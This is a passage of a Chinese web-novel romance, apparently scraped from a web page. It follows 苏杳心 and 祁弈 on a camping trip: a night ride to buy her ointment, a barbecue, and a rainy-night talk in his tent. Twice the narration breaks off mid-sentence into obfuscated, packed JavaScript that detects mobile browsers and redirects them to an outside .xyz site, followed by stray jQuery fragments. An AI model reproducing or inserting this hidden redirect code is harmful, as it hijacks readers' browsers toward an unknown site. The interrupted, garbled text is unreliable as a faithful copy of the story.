民宿那边有为露营的游客准备的洗漱间和付费淋浴室,她和秦晓棠去洗了澡,回来时,段南和段北也洗完漱回来。
祁弈的帐篷在她们的旁边。
灰色帐篷拉链已经拉上,没有光亮透出来。
他应该是睡了。
苏杳心钻进帐篷里,睡觉前刷了会儿朋友圈,一边和秦晓棠聊天,不过越来越心不在焉。
胳膊上的包越来越痒。
夜晚山上静谧,她们说话声音很小,像是催眠,秦晓棠聊着聊着睡着了。
苏杳心也放下手机,合上眼皮酝酿睡意。
隔十分钟,她就要翻个身,手臂上痒意难耐得她根本睡不着。
苏杳心在想,咬她的虫子是不是叫痒痒虫,也太难忍了。
她摸起手机,借着屏幕的光看了眼被咬的包,又肿了很多。
她叹气。
心里嘀咕,那只小虫子呀,你是不是已经入睡了?你知不知道有一个心地善良从不做坏事的小女孩,正被你咬得睡不着觉?
嘀咕了一番,苏杳心忍不住挠了几下,又抬起膝盖,抓了抓,随后扔开手机,闭上眼睛拼命地想酝酿睡意。
帐篷外偶尔传来风吹树叶的沙沙声。
不知过了多久,苏杳心已经翻了不下十次身。
在她以为今晚注定要被小痒包折磨一整晚时,被扔开的手机忽地震动。
苏杳心慢吞吞地摸过来。
睁眼一看手机,她一顿。
祁弈:[睡了吗?]
苏杳心:[还没。]
祁弈:[我在外面。]
苏杳心反应一霎,随后起身套了件外套,又拿上手机。
拉开帐篷出去那一刻,她看见不远处路灯下的少年。
祁弈站在一辆山地车旁,山中夜里空气湿凉,他黑色外套拉锁拉到顶,身形高瘦带着几分清冷感。
看见她出来,祁弈手机揣兜里,身上斜背一个黑色单肩包。
快步走过来。
苏杳心站在原地几秒,回身先把帐篷拉上,这功夫男生已经站在她身后。
回身靠近祁弈的一刻,苏杳心清晰地感受到他身上一股夜深露重的冷意,气息都是凉的。
她愣愣地问:“你是去哪儿了吗?”
祁弈把她拉到一个小马扎前,让她坐下,从口袋里拿出一管白色药膏。
他极为温和地嗯一声:“买药。”
说话间,他伸手将苏杳心的袖子往上捋,露出那片被虫咬的皮肤。
女孩子皮肤细腻,红肿的地方看起来更显严重。
祁弈皱了下眉。
在苏杳心终于明白发生了什么,白色的药膏挤在男生指腹,涂在她皮肤的那一刻,一股清凉的舒适让她忍不住舒了口气。
“有用吗?”他轻声问。
“嗯,舒服多了。”
苏杳心看看低头的祁弈,碎发遮住他稍许眉眼,面容轮廓清俊干净,她看不见他的眼神,但心底的惊讶未散。
“你怎么会想下山买药的?”
“老板说夜里会很痒。”
胳膊上涂好药,祁弈把她袖子放下来,苏杳心穿着睡裤,他想卷她的裤腿,意识到不妥,手又顿住。
苏杳心见状,忙自己卷起:“我自己来就好。”
然而等她把白色裤腿卷到膝盖,祁弈却不由分说,挤出药膏,涂在她的膝盖皮肤上。
不知是药膏的凉,还是少年指腹的冰凉,让苏杳心不由得一凛。
捏裤子的手指蜷了蜷。
腿上的包肿的比胳膊上的严重,应是被她抓的,祁弈涂的小心又专注,长睫下,虽看不见他的眼,但他此时的神情,却完全落在苏杳心眼中。
月色弥漫,银光皎洁,苏杳心有一瞬的错觉,觉得祁弈帮自己涂药神情,有种无法言说的虔诚……
虔诚?
她心怦然一跳,很快,她将这莫名其妙的想法甩走。
想什么呢你苏杳心。
她摸了摸鼻子,目光瞥向一边,心里却被另一件事占据,又看他。
“可是老板不是说,山路有一段没有路灯,你骑车下山的话……路都看不清,而且夜里山路可能湿气重,路会很滑…”
祁弈仍低头,语气似不在意:“那怎么了。”
苏杳心叹气:“太危险了啊。”
给她膝盖涂好药,少年抬起眼,漆黑乌亮的眼眸盯着她。
苏杳心见他眼角微弯。
“我这不是回来了?”
9. 入梦
苏杳心从小是被爸妈捧在手心里宝贝着长大,就算是她那个脾气不好的哥哥,对她也是嘴硬心软的宠爱。
是生在普通家庭的一个被爱包围长大的女孩子。
所以对被照顾并不陌生,甚至习以为常。
但此时,半蹲在她身前的少年却不同。
不仅是他们认识不久。
而是这样的照顾,是她第一次见。
生病时妈妈照顾她、给她买爱吃的零食、老爸用半个月工资给她买好几条心爱的裙子,都会挂在嘴边地说一句:因为爸爸妈妈爱你呀。
她哥苏明哲每次管她,也会臭脸扔一句:我是你哥,我不管你谁管你?
随后还要提醒她:对,你特麻烦,知道麻烦我了,以后就注意点。
所以苏杳心对眼前的少年,对这种一言不发的照顾和好意,有些不知该怎么反应。
在夜里山路骑行两个多小时去给她买药,没多说一句麻烦和危险,好像只是一件极为正常的事。
苏杳心心情微妙。
她抿抿唇,发自真心:“谢谢你。”
祁弈把药膏拧上,放在她手心里,“没事,要是还痒,就隔十分钟再涂一次。”
苏杳心目光愣愣的。
祁弈缓慢地扬了一下眉,“嗯?听见了么?”
她这才反应过来,“哦,好。”
夜风湿凉,祁弈扫了眼苏杳心睡衣外面单薄的外套,“好了,很晚了,回去睡吧。”
见他站起身,苏杳心也跟着站起来,“……祁弈。”
祁弈低头看她。
苏杳心想叮嘱,以后不能做这种冒险的事,她痒一宿不睡又不是什么大事。
话到嘴边,凭这几日的相处熟悉,她感觉祁弈不是一个听劝的性子,而且折腾一趟也太晚太幸苦。
她动了动唇,话又咽了回去。
朝他笑了笑:“晚安。”
祁弈静静地看着她,眼眸乌黑,他勾勾唇,笑了一下,“晚安。”
回到帐篷里之前,苏杳心回头看一眼。
少年走向山地车旁,不紧不慢地弯腰锁车,身后斜挎的背包有点重量,微微往下坠。
车锁上,他抬头的瞬间,目光笔直看向她这边。
苏杳心睫毛一动,随即摆摆手,回身钻进了帐篷。
再次躺下来,痒意已经舒缓。
听着外面沙沙的风声都多了几分催眠的意味。
这一夜她睡的安稳。
只短暂做了一个梦,梦里她见到咬她的虫子,黑黑的,丑丑的。但随之画面一换,不知为何,虫子忽然变了个脸,像化茧成蝶一样,长了一对漂亮透明的翅膀,化成了一只美貌的虫子。
奇奇怪怪的梦。
翌日清早,山间啾鸣声清脆。
苏杳心和秦晓棠差不多一同醒来,她们睡在充气的垫子,第一晚睡帐篷的感觉还不错。
苏杳心起来后,先看一眼胳膊上和膝盖的包,都消肿了,只剩一个红点点。
秦晓棠懒洋洋坐起来,伸个懒腰,“睡的好香呀!”
帐篷外面是鸟鸣,秦晓棠给她讲昨晚做到梦,“我感觉我好像睡在一片云朵上,飘忽忽的,然后奇妙的是,旁边的云朵上睡了一头粉猪。”
“一开始那粉猪总翻身,就是不肯睡觉,后来好像坐云彩飘走溜达了一圈,回来后就安静了,哈哈哈,这梦有趣吧!”
苏杳心:“……”
这头粉猪的行动轨迹听起来有点熟悉。
要不是她昨晚亲耳听见秦晓棠睡熟时轻轻的打鼾声,她都要以为是在内涵她了。
“是挺有趣的。”
苏杳心呵呵笑了声,也伸个懒腰。
然后摘下手腕的头绳,把睡乱的头发扎个丸子头,和秦晓棠一起出去洗脸刷牙。
清早的空气极为清新,呼吸都是草木的味道。
她们刚一抬头,看见不远处的对面。
晨气清爽,男生站在一棵青松下,一只小松鼠跳到一根树枝上,似乎想靠近他,但又有点怕。
祁弈就那么闲云野鹤地靠在树干,手里轻轻抛起一颗绿色松塔,似乎在勾小松鼠过来,神色里带着不紧不慢的悠闲。
他今日换了衣服,上身一件黑蓝色棒球服,搭配一条黑长裤,长腿修长笔直,脚上是和昨天不一样的白运动鞋。
应该是洗漱过,黑发蓬松,整个人从头到脚很清爽。
秦晓棠凑到她耳边啧了声,“这哥帅就算了,衣品还这么好,一大早上就看见这一幕,简直是美貌暴击啊!!”
对于长在苏杳心审美点上的男生,她也觉得十分养眼。
而那只小松鼠似乎也被他逗到了,忍不住去抢男生捏在指间的松塔,可这时,祁弈似乎发现了她们,转过头来。
他脸上一笑,捏着松塔的手朝她们这边晃了晃。
“醒了,早啊。”
他这一晃手,小松鼠一扑没扑到松塔,却掉到了祁弈肩膀上。
祁弈也似意外,愣了下,侧低头看向掉到自己肩膀的小家伙,牵了牵唇。
脸上笑意加深。
可手里的松塔没有要给它的意思,还在随意把玩。
妈的,真要命!
秦晓棠从第一眼见到祁弈,就觉得这种男生遇见了要是再错过,那也太亏了!
怎么遭也得让她姐妹去试一试!
秦晓棠推一把苏杳心,“你去跟祁帅哥聊聊天,我去上厕所啦。”
苏杳心被推着迈了一步,被迫改变了路线。
祁弈显然听见了刚才的话,朝她看过来。
她只好顶着乱扎的丸子头,脸都没洗地走过去。
祁弈没再逗小松鼠,松塔给它,放它走了。
苏杳心看见小松鼠抱着松塔跑掉了,她回过目光,发现祁弈没看逗了半天的松鼠,目光正落在她脸上。
她走近。
祁弈:“昨晚睡的好吗,包消了么?”
苏杳心唇边漾起笑,抬起胳膊给他看,“睡的很好,都消了,多亏了你的药。”
祁弈看过她半袖外面细白的手臂,“那就好。”
见他悠闲的模样,她问:“你昨晚睡的也好么,几点起的?”
祁弈抬眸:“睡的挺好,天亮就醒了。”
苏杳心微怔:“那你只睡了几个小时。”
他长眸漆黑,嗯了声:“我一向睡的少。”
苏杳心忽然想起他是一中的,那么内卷的重点学校,估计他高考后作息已经习惯了。
她瞥眼少年沾着晨气的干净外套,昨晚没开口的话,此时又在心里冒出来。
她轻声开口:“我还是觉得你昨晚下山买药太危险了,我这包只是被虫咬而已,也只是会痒,没有毒。你以后不要这么冲动了,就算你想下山,至少也要跟我说一声。”
祁弈:“不是冲动。”
苏杳心一愣。
她在等祁弈说不用担心之类的话,然后她以朋友的身份在分寸之内,再劝劝他,倒是没想到他会这么说。
“……”
在她一时没回应时,祁弈扬扬唇,散漫地笑了笑,“好,以后会提前跟你说一声。”
苏杳心轻眨眼。
好吧,也算劝到了。
她看着男生干净清爽,甚至称得上精致的模样,又意识到自己还是一副没洗脸梳头的起床样子。
就这样和他聊天,好像有点不太合适……
苏杳心拎着一个洗漱手提袋,视线轻轻瞥开,瞄了一眼远处,“那我去洗脸了。”
祁弈仍靠在树干,低眸着她,“这时间人多,去了也是排队,最好等一会儿。”
欲迈出的脚步没迈出,苏杳心轻轻哦了声。
她稍低着头,穿着一套浅蓝色运动服,短袖长裤,布料轻薄柔软,一撮头发没扎上,落在细白的脖颈边,掖在衣服领口。
其余柔软的头发被扎成一个团子,有点歪地在脑顶。
没洗脸,但很干净,在阳光下能看见白腻皮肤上细细的绒毛。
安静一瞬,祁弈笑了声,“今天什么安排?”
因为这话,苏杳心忽略自己此时应该是乱糟糟的样子,告诉他昨晚她和秦晓棠的计划,“昨天下午我和棠棠在后山转了一圈,这边都是山,没有能玩的地方,最值得看的还是景色,所以我们今天还想拍拍风景。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15653082|172823||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
“哦对,下午我和棠棠想租个烤架,吃烧烤,你觉得怎么样?”
祁弈点头,似乎对行程也满意,“好。”
苏杳心还担心他会觉得无聊。
旁边过去两个洗漱回来的女生,经过时,眼神发亮地打量靠在树干的散漫少年。
苏杳心背对她们,见有人回来,她终于有机会不再让祁弈看她刚起床的样子,“人应该少了,那我去洗漱啦。”
她刚转身,被拽住胳膊,往回拉一点。
少年好听的嗓音混在晨气里。
“早餐想吃什么?”
苏杳心眨眨眼:“豆浆,肉包……”
祁弈等几秒,确认她说完了,点了点头,手也松开,“好。”
苏杳心心一松,像刚才被逗跑掉的小松鼠一样,转身快步小跑开。
九点多,阳光还不算炎热,山林间树影婆娑,大家吃过早餐,上午一行人就在山中边散步,边拍风景。
昨天下午再加上今日的照片,一共拍了有六七十张,回来后秦晓棠要做plog发在社交号,但好看的照片太多,一时挑不出来。
朝段南借了笔记本,让大家帮忙选。
这一选才发现,好多都拍到其他游客,需要p掉。
秦晓棠手托腮啧了声:“哎呀,这张也拍到了这个丝巾阿姨,天呐,这位阿姨虽然长得很喜庆,但真是无处不在呢。”
苏杳心也无奈地笑了笑。
秦晓棠嫌麻烦,哼了哼问她:“我不想从头找了,你记得哪张没拍到别人吗?”
苏杳心只顾着看照片效果,“没记。”
话音落,旁边一直安静的祁弈开口:“第七、十二、二十五、四十九、六十二张,都没拍到别人,而且镜头光线好。”
不只是秦晓棠愣住了,苏杳心也不由惊讶,一共近七十张照片,他竟然记得这么清楚。
秦晓棠按男生说的序号,点开照片,果然没有拍到别人,照片里阳光白云,苏杳心在山间一身浅蓝色运动服,元气又清爽。
秦晓棠:你记忆力也太好了吧!”
这人是有什么过目不忘的能力吗?佩服佩服!!
把照片选出来,祁弈也起身,“我去商店看看,租个烧烤架。”
他走开没一会儿,段北从商店那边回来,“老板说今天要烧烤的游客多,烧烤架已经没了,除了烧烤,你们还想吃什么?我去买。”
秦晓棠刚美美地弄好漂亮的plog发到社交号上,闻言,遗憾道:“啊,我和杳杳就想吃烧烤呢!”
很快,秦晓棠问:“那祁弈也没租到吗?”
段北好笑:“他比我去的晚,我都没借到,他就能借到了?”
秦晓棠瞥他一眼,“那可不一定,万一人家运气好,就赶上正好有人还烧烤架呢。”
不知为何,苏杳心也觉得祁弈有可能借到。
不是运气,而是他这个人身上有股莫名的可靠,苏杳心最先想到的是,早上两个人站在青松下的聊天。
她提议想吃烧烤,祁弈答应时的那股干脆,让她觉得,他想要做的事就必然能办到。
不过下一秒,苏杳心又觉得自己太过自信,自信到竟然如此信赖一个刚熟悉几天的朋友。
但她笑自己的想法刚冒出,就见秦晓棠指着她身侧的方向,“你看!”
苏杳心抬头看去。
祁弈身上还是那件黑蓝色棒球服,神色散漫地朝她们走来,而他的手里,正拎着一个银色的烧烤架。
他是从另一处露营的方向走来的,而不是商店,很显然,烤架是从别的游客那里弄到的。
他走近后,段北一脸欲言又止地看着他,秦晓棠则笑眯眯地对段北说:“你看!我说什么来着!!”
祁弈不知道她们之前在聊什么,也没在意秦晓棠在兴奋什么事,他蹲下身,不疾不徐地把烤架支开,稳稳地固定在草地上。
似察觉到她过于直白的目光,他抬头,低声问:“怎么了?”
苏杳心轻轻眨了下眼,明眸善睐的:“你借到了烤架?”
似不明她疑问的语气,祁弈手搭膝盖,轻笑着反问:“嗯,不是说想吃烧烤么?”
10. 入梦
倏尔的风吹过,少年额发微微动了动。
“想吃的,”苏杳心笑了笑:“只是刚才听段北说烤架没有了,所以惊喜你借到了。”
祁弈低眸,“一个烤架而已,你说想吃,当然要有。”
掠过他黑发的风,也吹到了苏杳心耳边的发丝,她的心收缩一下,那股无由来的信赖,在此时落到了实处。
他清淡的眼,话少的样子。
忽然让苏杳心有一种似曾相识的感觉。
好像在哪里见过。
旁边秦晓棠笑眯眯地看着,又瞥段北:“你看看人家祁帅哥,哪像你,只知道让我们吃别的。”
段北:“……”
秦晓棠拉上电灯泡段北离开这里。
“你拽我干什么!?”
“去买烧烤的食材呀!你还不干点别的活啦?”秦晓棠揪着他领子往商店的方向走。
傍晚夕阳笼罩着山间,一草一木都被染上了一层淡橘色的光晕。
空气不热,这种环境和好友一起吃烧烤最惬意不过。
秦晓棠买了一堆肉串和蔬菜串。
苏杳心第一次亲手烤串,她觉得有趣,在牛肉和鸡翅上薄薄刷上一层油,炭火一烤,立刻发出滋啦炙烤的声音,香味扑鼻。
她和段南两个人烤,秦晓棠挨着段南坐,烤好一串就吃一串,此时啃着鸡翅,忽地想起什么,笑嘻嘻问。
“哎,祁帅哥,还没问这烤架你是怎么借到的呢。”
苏杳心手里的肉串翻面,看向身旁,“我也忘了问,你是在别的游客那里借来的么?”
祁弈坐在小马扎,一双长腿支着,修长又赏心悦目,他目光落在她手里微微烤焦的牛肉串,抬起眼。
“嗯,老板那边都租出去了,只有游客那边有。”
“今天吃烧烤的人多,我见老板今日的烤鱼卖不出去,就提议他买一送一。”
祁弈徐徐道:“我拿着老板买一送一的小票,去准备烧烤的那群人里逛了一圈,遇到想要花一份钱吃两份烤鱼的游客,就和他们换了。”
他说的轻轻松松,似是很简单的一件事。
苏杳心又好奇问:“那万一老板不同意,觉得亏呢?”
祁弈低眸,伸手帮她把要烤糊的牛肉串翻个面,又抬眼:“我问过,鱼都是老板在另一座山后的湖里钓的,没什么成本,左右今天很可能一条鱼都卖不出,不如薄利多销,能赚点是点。”
苏杳心不由得一笑,“难怪老板会愿意。”
烤架上油滋啦一声,她见牛肉串差不多好了,分给祁弈三串,自己留两串。
祁弈低眸看向自己盘子里,目光有一瞬的停留,才伸手去拿,神色愉悦。
烤串有些烫,苏杳心先吃鸡翅。
鸡翅是老板腌过的,咸淡适中,等吃牛肉串时,她咬一口嚼了嚼,发现牛肉串竟然忘了放盐。
她随即看向旁边少年的盘子,空空的。
苏杳心视线一抬,怔怔地问:“你都吃完了,我忘放盐了,你没发现没有味道吗?”
祁弈目光挪到她脸上,微微挑眉:“是吗,我没注意,还挺好吃的。”
苏杳心:“……”
没放盐味道差多了,他竟然觉得挺好吃。
看来是真的不挑食。
虽然他不挑,苏杳心还是重新给他烤几串,这次盐和孜然都记得放了,味道特别好。
苏杳心胃口小,吃饱了就悠闲地慢慢烤,搁在运动服兜里的手机震动,她拿出来看一眼。
秦晓棠:[你发现了吗?]
苏杳心:[发现什么?]
秦晓棠:[祁弈只吃你烤的东西!]
不明白她发这消息的意义。
苏杳心眨眨眼:[不然呢?]
苏杳心:[你脸都快贴段南的烤架上了,段南烤一串你吃一串,祁弈哪能抢得过你。]
秦晓棠:[……]
后面似乎吃的多了,秦晓棠一边吃,不时揉揉肚子,过了会儿,起身说要去厕所。
苏杳心想去洗个手,和她一起。
回来后,烧烤摊那边只剩段南一个人在。
苏杳心问:“他们人呢?”
段南烤的专心,下意识觉得她问的是祁弈,“刚才民宿老板来找祁弈,让他帮忙再多想一些卖烤鱼的点子,把人叫走了。”
苏杳心哦了声,目光一低看见了烤架上多出来的芋头,用锡纸包着,个头挺大。
“这芋头是哪来的?”
段南给牛筋撒一把辣椒面,不太确定地说:“……应该是民宿老板送的吧。”
苏杳心点点头,坐下后,看见烤架下面有一个袋子,里面还装一些圆圆的芋头。
芋头烤好,剥开皮后香味扑鼻,苏杳心一连吃了两个。
没多会儿,身边坐下了人,祁弈看了眼她啃芋头的样子,脸颊像个小松鼠,一鼓一鼓的。
看见他回来,苏杳心夹一个刚烤好的给他,“尝尝,特别糯。”
祁弈看了一眼,伸手就要拿。
她忙拦着:“哎,刚烤好,有点烫。”
祁弈黑眸清澈,“那怎么办,我现在就想尝一尝。”
苏杳心被他这一句弄得愣了下。
他还有这样的一面,她忍不住笑出声,“你没吃过芋头呀?”
“没有。”
原来是没吃过,难怪呢。
苏杳心瞧他清俊锐利的脸上,是一副认真想吃东西的神情,好吧,她放下手里啃一半的芋头,捏着锡纸拿起他的。
低头帮他吹了吹。
秦晓棠从商店那边拎着两袋小面包回来,没看清苏杳心在低头做什么,却注意到她身边的少年。
回来后,秦晓棠拿手机。
苏杳心边吃芋头,边点开消息。
秦晓棠:[你刚才给祁弈讲笑话了?]
苏杳心:[什么笑话,没有啊。]
秦晓棠:[那他怎么笑的那么开心?]
笑的开心吗。
苏杳心回想了一下,刚刚祁弈还算正常吧。
她猜:[可能是第一次吃芋头。]
秦晓棠:“……”
烧烤吃完,大家往民宿那边送餐具,苏杳心把没烤完的食物装保鲜盒,民宿老板给顾客送烤鱼,经过时看见她们没吃完的烤芋头,笑呵呵道。
“这芋头不错,以后我也可以上点芋头卖。”
苏杳心一愣,诧异地看老板:“这芋头,不是您送的吗?”
老板边走边摇头:“我没送过芋头啊,之前就送了你们一碟小菜。”
说完,老板又笑:“对了,和你们一起的那个小伙子脑筋真聪明,帮忙想出的卖烤鱼的好点子,是真有用!”
“你们明天要是还吃烤鱼,叔叔给你们打折啊。”
“好,谢谢您。”
苏杳心笑了笑,低头,目光落在装在盒子里的芋头。
没等她来及得问清芋头是谁拿来的,忽然被两件突如其来的事打断。
秦晓棠大姨妈提前了。
苏杳心去给她送卫生巾,从民宿那边出来,天空忽然乌云密布,黑压压的一片。
几乎下一刻,冰凉的雨丝淅沥地下了起来。
一场雨突然而至。
雨幕之中,山间的景色像多了一层暗色滤镜,有种水墨画般的意境,但因为忙碌躲雨的人焦急,又无形中破坏了这份蒙蒙的意境。
苏杳心站在门口,看见段北和段南边捂脑袋边拎东西,急匆匆地往这边跑,相比他们,不远处祁弈的身影,倒显得从容。
进屋后祁弈是淋到雨最少得那个,黑发上只沾了几滴雨珠,丝毫不见狼狈。
像晨间凝了几滴露珠的松针。
随后苏杳心看见,他抬手轻轻拨了拨额发,露珠消散。
段南在前台抽了张纸巾,擦模糊的眼镜,段北气喘吁吁地脱外套。
又进来一些临时躲雨的游客,有人烦闷地说着突如其来的雨,有人则心情甚好地拿手机拍雨景。
苏杳心走到落地窗前,雨珠滑过玻璃,天色暗,草地那边的路灯亮了,暖黄色灯泡在湿漉漉的雨中,多了几分温馨。
她静静地看了会儿。
身后忽然传来一道声音。
“喜欢下雨天吗?”
苏杳心回头,目光中是少年清俊流畅下巴,她又一抬,看向他如水墨一般秀挺的眉眼。
她说:“挺喜欢的。”
祁弈低头,和她视线相对那一刻,嘴角一弯:“我特别喜欢。”
苏杳心眼眸动了动,这语气,莫名地让她想起他之前在遇见曹彭时,提过的那句——他在乎的人。
喜欢下雨,会不会也和他那个在乎的人有关。
是女孩子吗……
苏杳心回过神来,轻轻一笑:“那这次来露营还不赖,遇见了下雨天。”
祁弈动了动唇。
没等说话,民宿门口突然跑进来一个男生。
急急匆匆的:“你们是不是外面露营的游客?有个帐篷被雨浇榻了,你们快去看看吧!”
秦晓棠在喝老板娘帮她冲的红糖水,看向这人,满是惊讶:“啊?这雨也不算大吧,帐篷还能被浇榻?豆腐渣帐篷啊?”
男生点头说:“就是榻了,绿色的帐篷,是你们的吗?”
秦晓棠不说话了。
露营地那边唯一的绿色帐篷就是段北
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15653083|172823||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
和段南住的那个……
段北去卫生间吹淋湿的衣服,不在这里,段南跟那人说过谢谢后,在前台拿上一把伞。
祁弈叫住他,和他一起去了。
没多久他们回来,段南收伞进屋,叹气地说帐篷塌了,可能是扎的不牢固,帐篷里面全被淋湿了,完全没法再睡。
段南去跟老板娘开了一间双人间。
秦晓棠来大姨妈,怕下雨睡帐篷着凉,也要住旅店。
老板娘查了下空余房间,“哎呦,就剩两个双人房,那你们是两个女孩子住一间,三个男生挤一间?”
段南回过头:“祁弈,你和我们凑合一晚?我可以睡地板。”
祁弈低头,把黑伞挂在前台挂杆, “不用了,我的帐篷没坏,我住帐篷。”
苏杳心看向神色散漫的男生,他可能不喜欢和别人住一间房,偶尔会对旁人不自觉露出骨子里的疏离。
可大家都住旅店……
她想了想:“那我也住帐篷吧。”
祁弈抬起眸,微微一笑,“你住房间吧,下雨夜里会冷。”
苏杳心:“那你自己……”
祁弈拿过一杯前台的茶水,“我自己习惯了,没关系。”
话落。
他看着她,又认真叮嘱:“女孩子不能受凉,你睡房间。”
苏杳心只好点了头。
等雨势渐小时,段南去取了行李。
祁弈送来她和秦晓棠的行李箱后,就回了帐篷那边。
苏杳心在二楼的房间里,给秦晓棠灌了一个热水袋暖宝宝,放在她被窝里,而后拿上要换的睡衣,去浴室里洗澡。
外面下着雨,室内的气温也跟着稍微潮凉,她洗了热水澡很舒服,出来后,秦晓棠因为大姨妈犯困,已经熟熟地睡着了。
苏杳心把她手机还在播放的选秀视频关掉,走到自己床前。
躺进床里,柔软的床是和帐篷不同的感觉,还是比睡帐篷舒服。
她忽地想,不知道祁弈有没有睡。
在帐篷里听雨声会影响睡眠吗,还是属于一种白噪音,更催眠呢?
她有点好奇。
翻了个身,床头台灯没关,苏杳心摸过手机,点开天气预报。
雨还要持续一个多小时。
她抿抿唇,又翻个身,听着外面的雨声,想到男生一个人在外面住帐篷,心里冒出隐隐的情绪。
好像不应该把他一个人扔在外面。
虽然祁弈连桥洞都住过,喜欢冒险,又特别喜欢下雨天,但大家毕竟是一起来露营的朋友。
这种好像把他一个人扔开的心情愈发越烈。
苏杳心摁灭手机,掀开被子下床。
山中雨夜的空气湿漉漉的,苏杳心裹着外套,头顶是伞被雨滴拍打的声音。
雨势比她想像的要大,幸好她出来了。
她一路看着地面,走到灰色的帐篷前,透过帘布缝隙,看见里面隐隐透出的光线。
他还没睡。
苏杳心轻声开口:“祁弈?”
安静一瞬,她猜男生应该没听见,又要喊一声时,忽地,帐篷被拉开。
视线中出现男生沐在灯光中的脸,温和而意外。
祁弈动了动唇,似乎顿了一下,才出声:“你怎么过来了?”
苏杳双手握着一把雨伞,穿着外套,里面是白色棉料睡衣,头发拢在一边肩膀,扎着低马尾,整个人看起来软绵绵的,随后她笑了一下。
虽站在黑夜中,但身上似带着暖光。
她声音也温温软软的:
“我还是不忍心让你一个人睡帐篷,过来陪你。”
雨声在耳边持续几秒的光景,画面好像在这几秒中停滞。
她忽地意识到什么,微微睁大眼:“哦,我不是说我们住一个帐篷,我说的来陪你,是指,我在我的帐篷里睡。”
“你,你别误会了。”
她慌乱解释了一通,耳朵都红了,祁弈脸上终于有了别的表情,嘴角缓缓弯起。
随后他把帐篷全部拉开。
人也往一边挪出空位,一如平时散漫的模样,望向她:“好。但是我还睡不着。”
他眼眸含着细碎的笑,邀请道:“你如果不困,先陪我聊聊天?”
灰色帐篷里,被暖黄色的灯光映满,瞧着空间也挺大,苏杳心犹豫了下,点点头,收起伞,钻了进去。
但一坐进去,或许是男生身形高大,他的存在感和气息都极强,挺宽敞的帐篷里,瞬间显得拥挤。
但很显然,祁弈很绅士,并有没碰到她。
只不过,空气里少年身上凛冽干净的气息,像细丝一般,缓缓萦绕在鼻尖。
11. 入梦
周围只有下雨的声音,一切似被隔绝在帐篷外,暖色灯光充盈着整个空间,感官只落在这一小方天地。
空气也变得温暖,裹住了他们。
而祁弈似乎不觉和她挨得近有何不妥,神色闲散从容。
小夜灯就在苏杳心手边。
她洋装感兴趣地瞧了瞧,又摸了摸。
一声短促的轻笑。
苏杳心抬头,看向少年沐在光里极为俊逸的脸。
见她望过来,他一笑。
“喜欢这个夜灯?”
苏杳心轻放下灯,“我以为是那种碰一下会变色的灯。”
话音落,她看见祁弈倏然靠近,缓缓倾下身,苏杳心的心砰砰跳的厉害,整个人都是紧绷的。
祁弈手一伸,低声说:“我只拿一下灯,别担心。”
这话有种一语双关的安抚,随后他坐好,白色小夜灯在他手里被拨开开关,递给她。
“再试试看。”
苏杳心依言地,拍了一下夜灯。
灯光变成淡橘色,连拍两下,光线逐渐白亮几度。
“还真是变色灯。”她笑着玩了几下,像个小孩子那般。
气氛也因为这件有趣的小事,变得自在了一些。
苏杳心把小夜灯放在腿边,随便和他聊:“我没来之前,你在做什么?”
“听雨,”祁弈一手支下颌:“也想事情。”
果然听起来很孤单。
不过每个人习惯喜好不同,有人喜欢热闹,也有人享受安静独处。
祁弈又补充:“不过我更喜欢有人陪。”
他这么一说,苏杳心完全没有打扰到他的顾虑,她曲腿抱着,脑袋搁在膝盖上,一双眼清凌凌地看他,“那你以前睡桥洞的时候,也是一个人呆着想事情吗?”
“差不多吧。”
“偶尔也想想人。”
苏杳心睫毛轻眨,来不及细细咀嚼他说这话的语气,就听祁弈又散漫道:“不过那时候时间很宝贵,我在帐篷里,大多时候是学习做卷子。”
她歪头问:“你那时候多大?”
祁弈盯着她:“初一。”
想起初一自己整天满脑子都是玩的苏杳心,不由得佩服。
那个贪玩的那年纪就认识到时间宝贵,要好好学习天天向上,难怪人家能考上一中。
脑袋里想像着一个小小少年,是眼前男生等比例的缩小版,她忍不住笑:“好乖啊。”
似乎没想到被夸乖,祁弈挑了挑眉,“乖?那倒没有。”
“我那时候经常打架,在老师眼里其实不是什么好学生。”
他似在回想那时,带着几分自嘲。
不知为何,苏杳心下意识就觉得祁弈不是会主动找人麻烦、爱打架的人,她真心道:“打架也不是不好的事,人在危险时当然要保护自己了,你的老师如果因为你正当防卫的打架而讨厌你,那他也不是什么讲道理的老师。”
她说完,安静的只有雨声,苏杳心望着少年专注深邃的眸子,动了动唇,“怎么了?”
“没怎么,”祁弈笑道:“就是第一次有人不问原因,就站在我这边。”
苏杳心目光微动。
……想想也能理解。
并不是所有家长都像苏怀峰和蔡卉,在遇事时,会完全相信自己的孩子。不管青红皂白就先批评自己孩子的父母不在少数。
苏杳心唇边漾笑:“那你以后就有啦。”
她笑意盈盈的,心里怎么想便如何说,没注意到少年眸中一瞬的怔然。
而下一刻,她目光不经意落向他的手臂,也怔住了。
少年穿着白T恤,露出的手臂线条流畅漂亮,而小臂上一条长长的疤,却触目惊心,因为肤色白,所以更明显。
就算是苏杳心听段北提起过,也难免意外一瞬。
虽然她神色安静,没有像别人那样惊讶,祁弈也发现她眼中的怔愣。
他没躲也没遮,只淡笑解释:“小时候打架留下的。”
“会害怕吗?”他问。
苏杳心抬眸,分不清他在问害怕疤,还是害怕打架的他,她摇摇头。
轻声问:“疼么?”
